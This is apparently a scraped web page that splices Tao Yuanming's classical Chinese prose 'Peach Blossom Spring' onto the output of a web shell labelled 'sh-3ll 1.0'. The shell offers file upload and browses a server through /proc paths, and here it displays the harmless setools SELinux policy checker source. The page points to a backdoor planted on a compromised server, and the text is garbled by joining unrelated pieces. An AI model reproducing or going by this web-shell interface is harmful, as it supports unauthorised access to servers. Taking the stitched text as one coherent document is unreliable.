晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/proc/thread-self/root/lib64/python3.9/site-packages/setools/checker/
Upload File :
Current File : //proc/self/root/proc/thread-self/root/lib64/python3.9/site-packages/setools/checker/checker.py
# Copyright 2020, Microsoft Corporation
#
# SPDX-License-Identifier: LGPL-2.1-only
#

import sys
import configparser
import logging
from datetime import datetime, timezone
from typing import List

from ..exception import InvalidCheckerConfig, InvalidCheckerModule
from ..policyrep import SELinuxPolicy

from .checkermodule import CHECKER_REGISTRY, CheckerModule
from .globalkeys import CHECK_TYPE_KEY


SECTION_SEPARATOR = "---------------------------------------------------------\n\n"


class PolicyChecker:

    """Configuration file-driven automated policy analysis checks."""

    def __init__(self, policy: SELinuxPolicy, configpath: str) -> None:
        assert CHECKER_REGISTRY, "No checks are loaded, this is a bug."

        self.log = logging.getLogger(__name__)
        self.policy = policy
        self.checks: List[CheckerModule] = []
        self.config = configpath

    @property
    def config(self):
        return self._configpath

    @config.setter
    def config(self, configpath: str):
        self.log.info("Opening policy checker config {}.".format(configpath))
        try:
            with open(configpath, "r") as fd:
                config = configparser.ConfigParser()
                config.read_file(fd, source=configpath)
        except Exception as e:
            raise InvalidCheckerConfig("Unable to parse checker config {}: {}".format(
                configpath, e)) from e

        self.log.info("Validating configuration settings.")

        checks = []
        for checkname, checkconfig in config.items():
            if checkname == "DEFAULT":
                # top level/DEFAULT section is not a check.
                continue

            try:
                check_type = checkconfig[CHECK_TYPE_KEY]
            except KeyError as e:
                raise InvalidCheckerModule("{}: Missing {} option.".
                                           format(checkname, CHECK_TYPE_KEY))

            try:
                newcheck = CHECKER_REGISTRY[check_type](self.policy, checkname, checkconfig)
            except KeyError as e:
                raise InvalidCheckerModule("{}: Unknown policy check type: {}".
                                           format(checkname, check_type)) from e

            checks.append(newcheck)

        if not checks:
            raise InvalidCheckerConfig("No checks found in {}.".format(configpath))

        self.log.debug("Validated {} checks.".format(len(self.checks)))
        self.log.info("Successfully opened policy checker config {}.".format(configpath))
        self._configpath = configpath
        self.checks = checks
        self._config = config

    def run(self, output=sys.stdout) -> int:
        """Run all configured checks and print report to the file-like output."""
        failures = 0

        assert self.checks, "Configuration loaded but no checks configured. This is a bug."

        output.write(SECTION_SEPARATOR)
        output.write("Policy check configuration: {}\n".format(self.config))
        output.write("Policy being checked: {}\n".format(self.policy))
        output.write("Start time: {}\n\n".format(datetime.now(timezone.utc)))

        result_summary = []
        for check in self.checks:

            check_failures = 0
            try:
                output.write(SECTION_SEPARATOR)
                output.write("Check name: {}\n\n".format(check.checkname))
                if check.desc:
                    output.write("Description: {}\n\n".format(check.desc))

                if check.disable:
                    output.write("Check DISABLED.  Reason: {}\n\n".format(check.disable))
                    result_summary.append((check.checkname, "DISABLED ({})".format(check.disable)))
                    self.log.debug("Skipping disabled check {!r}: {}".format(check.checkname,
                                   check.disable))
                    continue

                self.log.debug("Running check {0!r}, type {1}.".format(
                    check.checkname, check.check_type))
                check.output = output
                check_failures += len(check.run())
                output.write("\n")
            except Exception as e:
                output.write("Unexpected error: {}.  Failing check.\n\n".format(e))
                self.log.debug("Exception info", exc_info=e)
                check_failures += 1

            if check_failures:
                output.write("Check FAILED\n\n")
                result_summary.append((check.checkname, "FAILED ({} failures)".format(
                    check_failures)))
            else:
                output.write("Check PASSED\n\n")
                result_summary.append((check.checkname, "PASSED"))

            failures += check_failures

        output.write(SECTION_SEPARATOR)
        output.write("Result Summary:\n\n")
        for checkname, result in result_summary:
            output.write("{:<39} {}\n".format(checkname, result))

        output.write("\n{} failure(s) found.\n\n".format(failures))
        output.write("Policy check configuration: {}\n".format(self.config))
        output.write("Policy being checked: {}\n".format(self.policy))
        output.write("End time: {}\n".format(datetime.now(timezone.utc)))
        self.log.info("{} failures found in {} checks.".format(failures, len(self.checks)))
        return failures